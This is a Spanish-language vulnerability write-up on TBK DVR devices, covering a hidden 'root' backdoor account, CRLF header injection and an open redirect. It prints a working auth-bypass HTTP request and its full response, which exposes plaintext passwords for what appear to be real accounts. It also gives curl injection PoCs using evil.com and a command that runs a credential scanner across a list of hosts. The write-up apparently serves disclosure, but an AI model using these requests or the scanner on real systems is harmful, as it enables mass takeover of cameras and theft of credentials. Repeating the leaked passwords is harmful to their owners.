[tbk vision] Backdoor en DVR (root user) - Parte 2

En la continuación de "Reviviendo CVE-2018-9995, 8 años después - Parte 1" —donde vimos cómo el bypass de 2018 convive con un RCE, un open redirect y una puerta trasera—, damos el siguiente paso. En este segundo apartado profundizaremos en tres nuevas vulnerabilidades que descubrimos en el dispositivo.

1- [TBK DVR] Backdoor: Cuenta root permite acceso de administrador.

El dispositivo incorpora una segunda cuenta de administrador, root, con la contraseña que no aparece en la interfaz web (la lista de usuarios la filtra explícitamente). El acceso con root es válido y otorga privilegios de administrador, constituyendo una puerta trasera: aunque el dueño cambie la contraseña de admin, la cuenta root permanece activa y no se puede ver, modificar ni eliminar desde la UI.

El pŕoceso de explotacion es bien simple, ( documentado en el articulo "https://uid-disclose.com/writeups/tbk-dvr-cuenta-root-oculta-con-contrasena-fija-permite-acces-264b1a" ) y similar al CVE-2018-9995 con una unica diferencia la cookie enviada en lugar de llevar por valor "Cookie: uid=admin" se usa el "Cookie: uid=root", y en su respuesta se reciben todas las credenciales incluida una NO documentada. la cuenta del usuario "root"

Exploit:

GET /device.rsp?opt=user&cmd=list HTTP/1.1
Host: 192.168.0.101
Cookie: uid=root
User-Agent: Morzilla/7.0 (911; Pinux x86_128; rv:9743.0)
Accept: */*
Connection: close


HTTP/1.0 200 OK
Content-type: text/html; charset=UTF-8
Server: GNU rsp/1.0
Content-Language: en
Expires: -1
P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT'
Cache-Control: private, max-age=0
Connection: close
Date: Sun, 20 Sep 2026 01:24:05 GMT


{
  "result": 0, 
  "list": [
    {
      "uid": "root", 
      "pwd": "075939", 
      "role": 2, 
      "enmac": 0, 
      "mac": "00:00:00:00:00:00", 
      "playback": 4294967295, 
      "view": 4294967295, 
      "rview": 4294967295, 
      "ptz": 4294967295, 
      "backup": 4294967295, 
      "opt": 4294967295
    }, 
    {
      "uid": "barcasa", 
      "pwd": "Carcarazza79@", 
      "role": 2, 
      "enmac": 0, 
      "mac": "00:00:00:00:00:00", 
      "playback": 4294967295, 
      "view": 4294967295, 
      "rview": 4294967295, 
      "ptz": 4294967295, 
      "backup": 4294967295, 
      "opt": 4294967295
    }
  ]
}

• repo: https://git.uid-disclose.com/uid-disclose/dvr_toolkit

python3 dvrCredScanner.py -l ../dvr_lists/hosts_limpios.txt --uid root --user root

2- CRLF Injection con HTTP Response Splitting

El endpoint device.rsp?opt=changelanguage&language=<idioma>&url=<destino> refleja los parámetros language y url en los headers de la respuesta (Set-Cookie y Location, respectivamente) sin neutralizar los caracteres CR (\r) y LF (\n). Un atacante puede inyectar %0d%0a para terminar la cabecera y añadir cabeceras (y cuerpo) arbitrarios: header injection, HTTP Response Splitting e inyección de cookies.

POC 1 — CRLF / inyección de cabecera:

curl -i "http://<dvr>:85/device.rsp?opt=changelanguage&language=11&url=evil.com%0d%0aX-Injected:%20yes"
# => Location: evil.com
#    X-Injected: yes

POC 2 — Cookie injection vía language:

curl -i "http://<dvr>:85/device.rsp?opt=changelanguage&language=11%0d%0aSet-Cookie:%20pwned%3D1&url=/login.rsp"
# => Set-Cookie: userlan=11
#    Set-Cookie: pwned=1

3- Open Redirect ( en flujo de cambio de idioma )

El endpoint de cambio de idioma device.rsp?opt=changelanguage&language=<idioma>&url=<destino> copia el valor del parámetro url directamente al header Location de la respuesta, sin validar el esquema ni el dominio. Un atacante puede forjar un enlace que redirija a una víctima a un sitio controlado (phishing, robo de credenciales o tokens).

curl -i "http://<dvr>:85/device.rsp?opt=changelanguage&language=11&url=http://example.com/aa.rsp"
# => HTTP/1.0 302 Found
#    Location: http://example.com/aa.rsp